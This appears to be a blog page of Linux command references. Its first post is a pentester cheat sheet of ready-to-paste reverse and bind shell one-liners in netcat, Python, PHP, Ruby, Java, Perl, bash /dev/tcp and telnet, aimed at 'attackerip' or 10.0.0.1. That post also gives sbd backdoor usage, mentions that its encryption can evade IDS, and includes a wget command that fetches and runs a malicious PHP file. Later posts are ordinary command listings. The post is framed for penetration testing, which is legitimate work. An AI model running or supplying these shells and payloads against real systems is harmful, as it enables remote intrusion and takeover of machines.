Showing posts with label Linux Commands. Show all posts
Showing posts with label Linux Commands. Show all posts

Sunday, May 12, 2013

Linux Hackers Command Reference

Linux Command Reference for Pen-testers



This part of the blog is dedicated to Linux and Unix-like commands that can be used from Penetration Testers (yea who is your tester?) and Information Security Administrators. In this page I will periodically post Linux tiny simple scripts and commands that a Penetration tester or a Security Administrator can use to:


1. Perform Administration Security tasks (e.g use windows/linux netcat to bind shells e.t.c).

2. Run Vulnerability Scans (e.g Identify null sessions, test for LANMAN services e.t.c).

3. Do pivoting (e.g after compromising a machine use windows tools to escalate e.t.c).



Using Netcat to Bind Shell




Launching a listening shell in windows and binding from linux:

nc.exe -L -p <listening port> -e cmd.exe - Running in windows box

nc <windows box ip> <windows port> - Run in Linux/Unix-like box

Launching a listening shell in Linux/Unix-like and binding from Windows:

nc -l -p <listening port> -e /bin/sh - Running in Linux/Unix-like box

nc.exe <linux box ip> <linux port> - Run in Windows box


Using Netcat to transfer files


This can be used to transfer types of files from Linux to windows: 

nc.exe -lvvp 4444 > output.txt - Running in the Linux/Unix-like box
cat input.txt | nc.exe -vv 192.168.8.74 4444 - Run in Windows box


This can be used to transfer all type of files from windows to Linux: 

nc.exe -lvvp 4444 > output.exe - Running in the Linux box
type input.exe | nc -vv <windows box ip> 4444 - Run in Windows box


Note:
You might want to run a file command to identify the type of the file you want to transfer. There is no difference between transferring binary and text files (most of the time).


Using Netcat for port scanning 

nc -v -n -z -w 1 192.168.1.2 1-1000 - Run from Linux/Unix-like box
nc.exe -v -n -z -w 1 192.168.1.2 1-1000 - Run from Linux/Unix-like box


Note: The "-n" parameter here prevents DNS lookup, "-z" makes nc not receive any data from the server, and "-w 1" makes the connection timeout after 1 second of inactivity. The commands above will scan from port 1 to 1000.

Using Python to get shell

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Using PHP to get shell

This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'


Using Ruby to get shell

This shell binds a shell in port 1234 (good for installed ruby in the victim machine):

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 
Using Java to get shell 
The following command opens a listening shell in 10.0.0.1:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()


Using Perl to get shell

And a shorter Perl reverse shell that does not depend on /bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' 

If the target system is running Windows use the following one-liner:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Alternatives to Bash Shell

Here are some tricks taken from Dameles blog to play with.

exec /bin/bash 0&0 2>&0

Or:

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

Or:

exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done


Using Telnet to get shell


Of course, you can also use Telnet as an alternative for Netcat:

rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p

Or:

telnet attackerip 4444 | /bin/bash | telnet attackerip 4445 

Note: Remember to listen on your machine also on port 4445/tcp

Using sbd to get shell

An article on http://www.secureit.co.il discussed the availability of sbd (Shadowinteger's Backdoor), available at http://cycom.se/dl/sbd. It is described as a ‘Netcat- clone, designed to be portable and offer strong encryption’. It supports aes-128 encryption and is available on most platforms, including win32 and Linux.
Command with no encryption for listening in Windows: sbd.exe –l –p 5555 –c off
Command with encryption for listening in Windows: sbd.exe –l –p 5555 –c on
Binding a shell to Windows machine with encryption: sbd.exe –l –p 5555 –c on –e cmd.exe
Binding a shell to Windows machine with encryption: sbd.exe –l –p 5555 –c off –e cmd.exe
Command with no encryption for connecting to Windows from Linux: sbd 192.168.11.21 5555 –c off
Command with encryption for connecting to Windows with Linux: sbd 192.168.1.21 5555 –c on
This command will monitor traffic at the server side: sbd -m on -r 0 -l -p 100 -e cmd.exe
This command will cause a port forwarding: sbd 127.0.0.1 2000 | cmd.exe | sbd 127.0.0.1 3000
This command will do perform a connection forwarding: sbd -vv -l -p 90 | sbd -c off www.radarhack.com 80

Note:
The example of the reverse shell should prove that a decent configuration of firewalls in the outbound direction is necessary. In the scenario that a Trojan can be installed on a webserver, it is very important to prevent that this server can connect back out of the network, resulting in a shell for the attacker.

Using sbd to transfer file

For file receiving in Windows the command is: sbd.exe –l –p 5555 > output.txt
For file sending in Linux the command is: cat input.txt | sbd 192.168.11.21 5555


Note: There is not difference in transferring an executable or simply a text file.

Using sbd to respawn the shell

Another interesting feature of sbd if the -r option that allows you to respawn the shell. From the moment the client disconnects, the server side will exit. In order to respawn the server, specify the -r seconds’ switch. The server will be listening a gain after the specified amount of time. This might prevent the backdoor from existing and prevent to reconnect. Specifying a time of 0 seconds, will respawn the server immediately.
Here is a typical interaction with sbd respawning the shell after the connection is droped:

sbd -r 8 f -P server -l -p 100

demolisher: test1

demolisher: test2

sbd -P demolisher 127.0.0.1 100

test1

^C

sbd -P demolisher 127.0.0.1 100

connect(): WSAECONNREFUSED

sbd -P demolisher 127.0.0.1 100

connect(): WSAECONNREFUSED

... after 8 seconds ....

sbd -P demolisher 127.0.0.1 100

test2

After evaluating (or playing in other words), the tool seems very useful and easy to use. It contains (much) less features than netcat, although it offers build-in encryption, which can be useful to avoid IDS/IPS systems, although some will detect malicious behavior, if used on well-known ports.

Useful commands for copy paste

nc &lt;attacker_ip&gt; &lt;port&gt; -e /bin/bash
mknod backpipe p; nc &lt;attacker_ip&gt; &lt;port&gt; 0&lt;backpipe | /bin/bash 1&gt;backpipe
/bin/bash -i &gt; /dev/tcp/&lt;attacker_ip&gt;/&lt;port&gt; 0&lt;&1 2&gt;&1
mknod backpipe p; telnet &lt;attacker_ip&gt; &lt;port&gt; 0&lt;backpipe | /bin/bash 1&gt;backpipe
telnet &lt;attacker_ip&gt; &lt;1st_port&gt; | /bin/bash | telnet &lt;attacker_ip&gt; &lt;2nd_port&gt;
wget -O /tmp/bd.php &lt;url_to_malicious_file&gt; && php -f /tmp/bd.php

References:
http://pentestmonkey.net
http://wikipedia.org
blog

Friday, May 3, 2013

CRYPTOGRAPHY COMMANDS







Encryption tools

gpg - Encrypts data using GNU Privacy Guard.
mcrypt - Encrypts the specified file.
mimencode - Encodes the specified binary file to on eof the ASCII encoding formats.
mpack - Pack a file in MIME format.
uuencode - Encodes the specified binary file so that it can be transferred over a medium which does not support non-ASCII characters.

---------------------------------------------------

Decryption tools

gpg -
Decrypts data using GNU Privacy Guard.
mdecrypt - Decrypts any file with the .enc suffix, that was encrypted by mcrypt.
munpack - unpack messages in MIME or split-uuencode format.
uudecode - Decodes the uuencode coded file.
uudeview - a powerful decoder for binary files.

INTERNET AND NETWORK COMMANDS







ethtool
ftp

command to show if a network cable is plugged in e.a

Used to establish a connection with a specified host using the File Transfer Protocol.

ifconfig

Displays/establishes information about the network interfaces.

ifup

Bring up network interface.

ifdown

Bring up network interface.

iptraf

Interactive IP LAN monitor

iwconfig

Displays/establishes information about the wireless interfaces.

ip

Used to manage IP network interfaces.

lsof

Command to show what processes are making use of a port e.a.

nmap

Command to show which ports are open e.a.

netstat

Displays information about the Linux networking subsystem.

nslookup

Looks up the numerical IP address of the specified host.

ping

Sends a packet to a designated address and waits for a response.

route

Configure IP4 routing

scp

Copy files over the network.

showmount

Displays the Network Filesystem mounts available.

smbclient

Launches an interactive samba utility which resembles ftp.

smbmount

Mounts a remote Samba service at the specified mount point.

smbumount

Unmounts the specified Samba mount point.

ssh

Control a remote computer over the network.
telnet
Opens a terminal window on the remote host and starts an interactive session.

traceroute

Prints the route that packets take to network host

wvdial

Initiates a PPP dial-up connection.

DIRECTORY COMMANDS


cd - Change directories
df - print the free space available in a directory
du - print the size of a directory
ln - Create a link to a file or directory
ls - Lists the files contained in the directory
mkdir - Create a new directory
pwd - Print the current working directory
rmdir - Remove the specified directory
symlinks - Find symbolic links

DISK AND TAPE DRIVE COMMANDS




Partitioning 

cfdisk - Interactive hard disc partition utility for text mode.
fdisk - Launches a menu-driven program that partitions a hard disk.
parted - command line partitioning tool. (parted sometimes complains about boundaries of partitions created with fdisk. parted can format a partitionof type ext2 or fat32 partition while creating it.)

Formatting


mkfs - front-end to various filesystem-creation tools
parted can create a filesystem while partitioning
mkfs.vfat /dev/sde1 to format a fat32 partition sde1
mkfs.ext2 /dev/sde2 to format an ext2 partition sde2

Tuning


tune2fs - command to tune ext2/ext3 filesystems
tune2fs -j /dev/sde2 to convert an ext2 filesystem sde2 to ext3 by adding a journal
tune2fs -L /dev/sde2 bulkdata to set the volume label of sde2 to "bulkdata"
debugfs - Interactive utility to repair the ext2 filesystem on specified drive.
e2fsck- Performs an analysis of the filesystem's integrity and optionally repairs errors.
badblocks - Scans the specified drive for bad blocks.

Using a configured hard drive or tape


df - Displays the amount of disc space used and remaining on all mounted filesystems.
hwinfo - Automatically recognizes all available CD-ROM drives.
mount - Attaches the device to a specified directory, which will serve as the filesystem's mount point.
sync - Flushes the filesystem buffers.
umount - Unmounts the filesystem specified by the device.
du - Displays the amount of disc space used in the current directory.
duchs - Lists the largest directories in human readable format
eject - Ejects the media in the specified drive.

Rescuing


mc (midnight commander) - Command line file manager. Can undelete files in unmounted ext2 filesystems.

Backing-up


partimage - Backs up disk partitions into image files and restores them.

Logical Volume Management

LVM - LVM is an abbreviation for Logical Volume Manager which has been available under Linux for some time; the 2.4 kernel has the original LVM whilst 2.6 has LVM2 although both essentially do the same job. LVM allows one or more physical devices to be treated as a storage pool from which logical drives may be created whose size can altered dynamically. Assuming your file system supports dynamic resizing the upshot of this is you can grow/shrink logical drives (mount points) as your wish. In addition to combining drives in to logical devices you can also control the spread of data amongst devices through the use of striping, however this is often better left to a RAID implementation. LVM works on top of Software-RAID just fine by the way.

USER COMMANDS






date - Print or set the system date and time.
finger - Display information about a user. May be turned off by default.
id - Display UID and group info about a user.
passwd - Change a user's password.
quota - Assign quota for users and groups.
su - Change to root or another user id.
useradd - Add a new user to the system.
userdel - Delete a user from the system.
usermod - Modify user information on the system.
users - Display a list of current users.
who - Display a list of current users.
whoami - Print the user name associated with the effective UID.
w - Display who is logged on and what they are doing.

STARTUP/SHUTDOWN-RELATED COMMANDS



dmesg - display bootup messages.
halt - halt the system. (not recommened - use shutdown -h now instead)
init - set runlevel, or define processes that are begun on a specific runlevel.
reboot - reboot the system.
runlevel - show the current system runlevel.
shutdown - shutdown the system.
swapoff - disable the paging hardware.
swapon - enable the paging hardware.
sync - write buffered memory out to disk.
telinit - move the system to a new runlevel.

SHELL COMMAND







A shell, also known as a command interpreter, is a specialized program for accepting typed user commands, translating those into programs to run, running those programs, and displaying (or doing something) with the results. A "common" example of a shell is the DOS shell, called COMMAND.COM, which was the complete user interface before Windows.

Different shells exist, offering different feature sets. Two main families of shell exist: the Bourne shell and its variants (sh, bash, ksh) and the C shell and its variants (csh, tcsh). Though many shells have features common to others, the way they make use of those features is unique, so that (for example) Bourne shell conventions don't usually apply to C shells.
bash - The Bourne-Again SHell - feature-rich default Linux shell.
csh - A shell with C-like syntax, with file name completion and command line editing - usually tcsh on modern Linux.
fish - 'friendly' interactive shell
ksh - Korn SHell - part of the sh rather than csh family.
sh - the original shell, often a symlink to bash on modern Linux and the most portable.
tcsh - An extended version of csh, with all its features and some additional ones.
zsh - One of the newest and most feature-rich shells.

Thursday, May 2, 2013

PROGRAMMING-RELATED COMMANDS





Compiling


g++ -- C++ front-end to GCC.

gcc -- "GNU Compiler Collection". Also C compiler.

gcj -- Java front-end to GCC.

as - the portable GNU assembler

linking and libraries (see also Library-related_Commands_and_Files)

ar - tool for creating, modifying, and extracting from archives

ld - the GNU linker

ldconfig

ldd

ld.so

pkg-config - tool for outputting linker and compiler flags for a given library

dealing with object files

nm - lists symbols from object files

objcopy - copies and translates object files

objdump - display information from object files

readelf - displays information about ELF files

lexical analyzer and parser

bisOn (the yacc replacement)

flex (the lex replacement)



Debugging Main article: debuggers 

ddd
gdb
lInt
valgrind


gprof - fight performance problems using profiling

build tools

autoconf - generates configuration scripts

automake - automatically generates 'Makefile.in's from 'Makefile.am's

ant
jam
libtool


make, makefile, configure script

scons

source code tagging

ctags -- for vim- and NEdit-compatible tag files

etags -- for emacs-compatible tag files

revision control

GNU Arch

Bazaar-NG -- aka "Bazaar 2", aka "bzr"

CVS
git
RCS
Subversion

misc

addr2line - converts addresses into file names and line numbers

file - find out file type (like "link", "executable" or shared object)

strings - finds printable strings in a file

Wednesday, May 1, 2013

KERNEL COMMANDS


Note, some of the following commands refer to kernel modules, which are dynamically loadable objects that the kernel uses for a variety of tasks, such as hardware drivers.


depmod - Create a module dependency list.
insmod - Install a module.
modinfo - Display information about a module.
lsmod - List installed modules.
modprobe - Load or list loadable modules.
rmmod - Remove specified module.
sysctl - Configure kernel parameters at runtime.
uname - Display system information

BASIC LINUX COMMANDS



mkdir - make directories

Usage

mkdir [OPTION] DIRECTORY

Options

Create the DIRECTORY(ies), if they do not already exist.

Mandatory arguments to long options are mandatory for short options too.

-m, mode=MODE set permission mode (as in chmod), not rwxrwxrwx - umask

-p, parents no error if existing, make parent directories as needed

-v, verbose print a message for each created directory



-help display this help and exit

-version output version information and exit

cd - change directories

Use cd to change directories. Type cd followed by the name of a directory to access that directory.Keep in mind that you are always in a directory and can navigate to directories hierarchically above or below.

mv- change the name of a directory

Type mv followed by the current name of a directory and the new name of the directory.

Ex: mv testdir newnamedir

pwd - print working directory

will show you the full path to the directory you are currently in. This is very handy to use, especially when performing some of the other commands on this page

rmdir - Remove an existing directory

rm -r

Removes directories and files within the directories recursively.

chown - change file owner and group

Usage

chown [OPTION] OWNER[:[GROUP]] FILE

chown [OPTION] :GROUP FILE

chown [OPTION] --reference=RFILE FILE

Options

Change the owner and/or group of each FILE to OWNER and/or GROUP. With --reference, change the owner and group of each FILE to those of RFILE.

-c, changes like verbose but report only when a change is made

-dereference affect the referent of each symbolic link, rather than the symbolic link itself

-h, no-dereference affect each symbolic link instead of any referenced file (useful only on systems that can change the ownership of a symlink)

-from=CURRENT_OWNER:CURRENT_GROUP

change the owner and/or group of each file only if its current owner and/or group match those specified here. Either may be omitted, in which case a match is not required for the omitted attribute.

-no-preserve-root do not treat `/' specially (the default)

-preserve-root fail to operate recursively on `/'

-f, -silent, -quiet suppress most error messages

-reference=RFILE use RFILE's owner and group rather than the specifying OWNER:GROUP values

-R, -recursive operate on files and directories recursively

-v, -verbose output a diagnostic for every file processed

The following options modify how a hierarchy is traversed when the -R option is also specified. If more than one is specified, only the final one takes effect.

-H if a command line argument is a symbolic link to a directory, traverse it

-L traverse every symbolic link to a directory encountered

-P do not traverse any symbolic links (default)

chmod - change file access permissions

Usage

chmod [-r] permissions filenames

r Change the permission on files that are in the subdirectories of the directory that you are currently in. permission Specifies the rights that are being granted. Below is the different rights that you can grant in an alpha numeric format.filenames File or directory that you are associating the rights with Permissions

u - User who owns the file.

g - Group that owns the file.

o - Other.

a - All.

r - Read the file.

w - Write or edit the file.

x - Execute or run the file as a program.

Numeric Permissions:

CHMOD can also to attributed by using Numeric Permissions:

400 read by owner

040 read by group

004 read by anybody (other)

200 write by owner

020 write by group

002 write by anybody

100 execute by owner

010 execute by group

001 execute by anybody

ls - Short listing of directory contents

-a list hidden files

-d list the name of the current directory

-F show directories with a trailing '/'

executable files with a trailing '*'

-g show group ownership of file in long listing

-i print the inode number of each file

-l long listing giving details about files and directories

-R list all subdirectories encountered

-t sort by time modified instead of name

cp - Copy files

cp myfile yourfile

Copy the files "myfile" to the file "yourfile" in the current working directory. This command will create the file "yourfile" if it doesn't exist. It will normally overwrite it without warning if it exists.

cp -i myfile yourfile

With the "-i" option, if the file "yourfile" exists, you will be prompted before it is overwritten.

cp -i /data/myfile

Copy the file "/data/myfile" to the current working directory and name it "myfile". Prompt before overwriting the file.

cp -dpr srcdir destdir

Copy all files from the directory "srcdir" to the directory "destdir" preserving links (-poption), file attributes (-p option), and copy recursively (-r option). With these options, a directory and all it contents can be copied to another dir

ln - Creates a symbolic link to a file.

ln -s test symlink

Creates a symbolic link named symlink that points to the file test Typing "ls -i test symlink" will show the two files are different with different inodes. Typing "ls -l test symlink" will show that symlink points to the file test.

locate - A fast database driven file locator.

slocate -u

This command builds the slocate database. It will take several minutes to complete this command.This command must be used before searching for files, however cron runs this command periodically on most systems.locate whereis Lists all files whose names contain the string "whereis". directory.

more - Allows file contents or piped output to be sent to the screen one page at a time

less - Opposite of the more command

cat - Sends file contents to standard output. This is a way to list the contents of short files to the screen. It works well with piping.

whereis - Report all known instances of a command

wc - Print byte, word, and line counts
bg

bg jobs Places the current job (or, by using the alternative form, the specified jobs) in the background, suspending its execution so that a new user prompt appears immediately. Use the jobs command to discover the identities of background jobs.

cal month year - Prints a calendar for the specified month of the specified year.

cat files - Prints the contents of the specified files.

clear - Clears the terminal screen.

cmp file1 file2 - Compares two files, reporting all discrepancies. Similar to the diff command, though the output format differs.

diff file1 file2 - Compares two files, reporting all discrepancies. Similar to the cmp command, though the output format differs.

dmesg - Prints the messages resulting from the most recent system boot.

fg

fg jobs - Brings the current job (or the specified jobs) to the foreground.

file files - Determines and prints a description of the type of each specified file.

find path -name pattern -print

Searches the specified path for files with names matching the specified pattern (usually enclosed in single quotes) and prints their names. The find command has many other arguments and functions; see the online documentation.

finger users - Prints descriptions of the specified users.

free - Displays the amount of used and free system memory.

ftp hostname

Opens an FTP connection to the specified host, allowing files to be transferred. The FTP program provides subcommands for accomplishing file transfers; see the online documentation.

head files - Prints the first several lines of each specified file.

ispell files - Checks the spelling of the contents of the specified files.

kill process_ids

kill - signal process_ids

kill -l

Kills the specified processes, sends the specified processes the specified signal (given as a number or name), or prints a list of available signals.

killall program

killall - signal program

Kills all processes that are instances of the specified program or sends the specified signal to all processes that are instances of the specified program.

mail - Launches a simple mail client that permits sending and receiving email messages.

man title

man section title - Prints the specified man page.

ping host - Sends an echo request via TCP/IP to the specified host. A response confirms that the host is operational.

reboot - Reboots the system (requires root privileges).

shutdown minutes

shutdown -r minutes

Shuts down the system after the specified number of minutes elapses (requires root privileges). The -r option causes the system to be rebooted once it has shut down.

sleep time - Causes the command interpreter to pause for the specified number of seconds.

sort files - Sorts the specified files. The command has many useful arguments; see the online documentation.

split file - Splits a file into several smaller files. The command has many arguments; see the online documentation

sync - Completes all pending input/output operations (requires root privileges).

telnet host - Opens a login session on the specified host.

top - Prints a display of system processes that's continually updated until the user presses the q key.

traceroute host - Uses echo requests to determine and print a network path to the host.

uptime - Prints the system uptime.

w - Prints the current system users.

wall - Prints a message to each user except those who've disabled message reception. Type Ctrl-D to end the message.

BASIC LINUX COMMANDS WITH MAN PAGES


Here are some basic commands to get you started in the wonderful world of Linux and other UNIX variants. All of these commands should work from your command prompt (regardless which shell you’re using).You MUST press enter to invoke the command.All UNIX and Linux commands are case sensitive. There are of course thousands of Linux related commands and procedures.



You can also execute multiple commands by separating each one with a ; for example cd newdir; mkdir thatdir ; ls -la will first change directories to the newdir directory, then create a directory called thatdir, then list all the files in long format. You can string together as many commands as you like but caution should be used not to inadvertently do anything harmful.
If you think some thing need to be added to this list let me know.
access - determine whether a file can be accessed
Syntax
access -mode file
For more options and how to use check access man page

alias - define or display aliases
Syntax
alias [alias-name[=string] …]
For more options and how to use check alias man page

bg - run jobs in the background
Syntax
bg [job_id ...]
For more options and how to use check bg man page
cal - displays a calendar
Syntax
cal [-smjy13 ] [[ month ] year ]
For more options and how to use check cal man page

cd - change directories
Use cd to change directories. Type cd followed by the name of a directory to access that directory.Keep in mind that you are always in a directory and can navigate to directories hierarchically above or below.
Syntax
cd [-L | -P] [directory]
For more options and how to use check cd man page

chown - change file owner and group
Syntax
chown [OPTION] OWNER[:[GROUP]] FILE
chown [OPTION] :GROUP FILE
chown [OPTION] --reference=RFILE FILE
For more options and how to use check chown man page

chmod - change file access permissions
Syntax
chmod [-r] permissions filenames
Options
r Change the permission on files that are in the subdirectories of the directory that you are currently in. permission Specifies the rights that are being granted. Below is the different rights that you can grant in an alpha numeric format.filenames File or directory that you are associating the rights with Permissions
u - User who owns the file.
g - Group that owns the file.
o - Other.
a - All.
r - Read the file.
w - Write or edit the file.
x - Execute or run the file as a program.
Numeric Permissions:
CHMOD can also to attributed by using Numeric Permissions:
400 read by owner
040 read by group
004 read by anybody (other)
200 write by owner
020 write by group
002 write by anybody
100 execute by owner
010 execute by group
001 execute by anybody
For more options and how to use check chmod man page



cp - Copy files and directories
Syntax
cp [OPTION]… SOURCE DEST
cp [OPTION]… SOURCE… DIRECTORY
cp [OPTION]… --target-directory=DIRECTORY SOURCE…
Options
cp myfile yourfile
Copy the files “myfile” to the file “yourfile” in the current working directory. This command will create the file “yourfile” if it doesn’t exist. It will normally overwrite it without warning if it exists.
cp -i myfile yourfile
With the “-i” option, if the file “yourfile” exists, you will be prompted before it is overwritten.
cp -i /data/myfile
Copy the file “/data/myfile” to the current working directory and name it “myfile”. Prompt before overwriting the file.
cp -dpr srcdir destdir
Copy all files from the directory “srcdir” to the directory “destdir” preserving links (-poption), file attributes (-p option), and copy recursively (-r option). With these options, a directory and all it contents can be copied to another dir
For more options and how to use check cp man page

clear - Clears the terminal screen.
Syntax
clear
For more options and how to use check clear man page

cmp - Compares two files, reporting all discrepancies. Similar to the diff command, though the output format differs.
Syntax
cmp [-clsv] [-i NUM] [--help] [--print-chars] [--ignore-initial=NUM] [--verbose] [--quiet] [--silent] [--version] -I FILE1 [FILE2 [RANGE1 [RANGE2]]]
For more options and how to use check cmp man page

cat - Sends file contents to standard output. This is a way to list the contents of short files to the screen. It works well with piping.
Syntax
cat [OPTION] [FILE]…
For more options and how to use check cat man page

diff - find differences between two files
Syntax
diff [options] from-file to-file
For more options and how to use check diff man page

dmesg - Prints the messages resulting from the most recent system boot.
Syntax
dmesg [ -c ] [ -n level ] [ -s bufsize ]
For more options and how to use check dmesg man page

du - estimate file space usage
Syntax
du [OPTION]… [FILE]…
For more options and how to use check du man page

df - report filesystem disk space usage
Syntax
df [OPTION]… [FILE]…
For more options and how to use check df man page

exit - cause the shell to exit
syntax
exit [n]
For more options and how to use check exit man page

eject - eject removable media
Syntax
eject -h
eject [-vnrsfqp] []
eject [-vn] -d
eject [-vn] -a on|off|1|0 []
eject [-vn] -c slot []
eject [-vn] -t []
eject [-vn] -x []
eject -V
For more options and how to use check eject man page

fuser - identify processes using files or sockets
Syntax
fuser [-a|-s|-c] [-4|-6] [-n space] [-k [-i] [-signal] ] [-muvf] name
fuser -l
fuser -V
For more options and how to use check fuser man page

fsck - check and repair a Linux file system
Syntax
fsck [ -sACVRTNP ] [ -t fstype ] filesys [ ... ] [--] [ fsck-options ]
For more options and how to use check fsck man page

fdisk - Partition table manipulator for Linux
Syntax
fdisk [-u] [-b sectorsize] [-C cyls] [-H heads] [-S sects] device
fdisk -l [-u] device …
fdisk -s partition …
fdisk -v
For more options and how to use check fdisk man page

fg - run jobs in the foreground
Syntax
fg [job_id]
For more options and how to use check fg man page

file - determine file type
Syntax
file [ -bciknsvzL ] [ -f namefile ] [ -m magicfiles ] file …
file -C [ -m magicfile ]
For more options and how to use check file man page

find - search for files in a directory hierarchy
Syntax
find [path...] [expression]
For more options and how to use check find man page

finger - Prints descriptions of the specified users.
Syntax
finger [-lmsp ] [user ... ] [user@host ... ]
For more options and how to use check finger man page

free - Displays the amount of used and free system memory.
Syntax
free [-b | -k | -m] [-o] [-s delay ] [-t] [-V]
For more options and how to use check free man page

ftp - A File Transfer Protocol client
Syntax
ftp hostname or ipaddress
For more options and how to use check ftp man page

grep, egrep, fgrep - print lines matching a pattern
Syntax
grep [options] PATTERN [FILE...]
grep [options] [-e PATTERN | -f FILE] [FILE...]
For more options and how to use check grep, egrep, fgrep man page

head - output the first part of files
Syntax
head [OPTION]… [FILE]…
For more options and how to use check head man page

history - Manipulate the history list
Syntax
history option arg arg …
For more options and how to use check history man page

!!
use the ! option. To automatically re-display the last command you typed at the prompt, type: !! and press enter. Press again to invoke the command. You can also automatically re-display a command you typed earlier by using the ! and the first few letters of the command.
& operator
execute a command as a background process.
Ex:-
#top&
init - process control initialization
Syntax
/sbin/init [ -a ] [ -s ] [ -b ] [ -z xxx ] [ 0123456Ss ]
For more options and how to use check init man page

ispell - ispell, buildhash, munchlist, findaffix, tryaffix, icombine, ijoin - Interactive spelling checking
Syntax
ispell [common-flags] [-M|-N] [-Lcontext] [-V] files
ispell [common-flags] -l
ispell [common-flags] [-f file] [-s] {-a|-A}
ispell [-d file] [-w chars] -c
ispell [-d file] [-w chars] -e[e]
ispell [-d file] -D
ispell -v[v]
For more options and how to use check ispell man page

id - Print real and effective user id (uid) and group id (gid), prints options about the given user, or if no user is specified the process running it
Syntax
id [options]… [username]
For more options and how to use check id man page

kill - terminate a process
Syntax
kill [ -s signal | -p ] [ -a ] [ -- ] pid … kill -l [ signal ]
For more options and how to use check kill man page

killall - kill processes by name
Syntax
killall [-Z,--context pattern] [-e,--exact] [-g,--process-group] [-i,--interactive] [-q,--quiet] [-r,--regexp] [-s,--signal signal] [-u,--user user] [-v,--verbose] [-w,--wait] [-I,--ignore-case] [-V,--version] [--] name … killall -l killall -V,--version
For more options and how to use check killall man page

logname - Print current login name
Syntax
logname [OPTION]
For more options and how to use check logname man page

less - Opposite of the more command
Syntax
less -?
less --help
less -V
less --version
less [-[+]aBcCdeEfFgGiIJmMnNqQrRsSuUVwWX]
[-b space] [-h lines] [-j line] [-k keyfile]
[-{oO} logfile] [-p pattern] [-P prompt] [-t tag]
[-T tagsfile] [-x tab,...] [-y lines] [-[z] lines]
[+[+]cmd] [--] [filename]…
For more options and how to use check less man page

logout - to quit using the system
Syntax
logout
lsof - list open files
Syntax
lsof [ -?abChlnNOPRstUvVX ] [ -A A ] [ -c c ] [ +c c ] [ +|-d d ] [ +|-D D ] [ +|-f [cfgGn] ] [ -F [f] ] [ -g [s] ] [ -i [i] ] [ -k k ] [ +|-L [l] ] [ +|-m m ] [ +|-M ] [ -o [o] ] [ -p s ] [ +|-r [t] ] [ -S [t] ] [ -T [t] ] [ -u s ] [ +|-w ] [ -x [fl] ] [ -z [z] ] [ -- ] [names]
For more options and how to use check lsof man page

ls - Short listing of directory contents
Syntax
ls [OPTION]… [FILE]…
Options
-a list hidden files
-d list the name of the current directory
-F show directories with a trailing ‘/’
executable files with a trailing ‘*’
-g show group ownership of file in long listing
-i print the inode number of each file
-l long listing giving details about files and directories
-R list all subdirectories encountered
-t sort by time modified instead of name
For more options and how to use check ls man page

ln - make links between files
Syntax
ln [OPTION]… TARGET [LINK_NAME]
ln [OPTION]… TARGET… DIRECTORY
ln [OPTION]… --target-directory=DIRECTORY TARGET…
Option
ln -s test symlink
Creates a symbolic link named symlink that points to the file test Typing “ls -i test symlink” will show the two files are different with different inodes. Typing “ls -l test symlink” will show that symlink points to the file test.
For more options and how to use check ln man page

locate - list files in databases that match a pattern
Syntax
locate [-d path | --database=path] [-e | --existing] [-i | --ignore-case ] [--version] [--help] pattern…
For more options and how to use check locate man page

mail - Launches a simple mail client that permits sending and receiving email messages.
Syntax
mail [OPTION...] [address...]
For more options and how to use check mail man page

man - an interface to the on-line reference manuals
Syntax
man [-c|-w|-tZHT device] [-adhu7V] [-m system[,...]] [-L locale] [-p string] [-M path] [-P pager] [-r prompt] [-S list] [-e extension] [[section] page …] …
man -l [-7] [-tZHT device] [-p string] [-P pager] [-r prompt] file …
man -k [apropos options] regexp …
man -f [whatis options] page …
For more options and how to use check man man page

mkdir - make directories
Syntax
mkdir [OPTION] DIRECTORY
Options
Create the Directory(ies), if they do not already exist.
Mandatory arguments to long options are mandatory for short options too.
-m, mode=MODE set permission mode (as in chmod)
-p, parents no error if existing, make parent directories as needed
-v, verbose print a message for each created directory
-help display this help and exit
-version output version options and exit
For more options and how to use check mkdir man page

mount - mount a file system
Syntax
mount [-lhV]
mount -a [-fFnrsvw] [-t vfstype] [-O optlist]
mount [-fnrsvw] [-o options [,...]] device | dir
mount [-fnrsvw] [-t vfstype] [-o options] device dir
For more options and how to use check mount man page

mv - change the name of a directory
Type mv followed by the current name of a directory and the new name of the directory
Syntax
mv [OPTION]… [-T] SOURCE DEST mv [OPTION]… SOURCE… DIRECTORY mv [OPTION]… -t DIRECTORY SOURCE…
Ex: mv testdir newnamedir
For more options and how to use check mv man page

more - Allows file contents or piped output to be sent to the screen one page at a time.
Syntax
more [-dlfpcsu ] [-num ] [+/ pattern] [+ linenum] [file ... ]
For more options and how to use check more man page

nohup - run a command immune to hangups, with output to a non-tty
Syntax
nohup COMMAND [ARG]…
nohup OPTION
For more options and how to use check nohup man page

nice - run a program with modified scheduling priority
Syntax
nice [OPTION] [COMMAND [ARG]…]
For more options and how to use check nice man page

ping - send ICMP ECHO_REQUEST packets to network hosts
Syntax
ping [-Rdfnqrv ] [-c count ] [-i wait ] [-l preload ] [-p pattern ] [-s packetsize ] host
For more options and how to use check ping man page

ps - report process status
Syntax
ps [options]
For more options and how to use check ps man page

pwd - print working directory
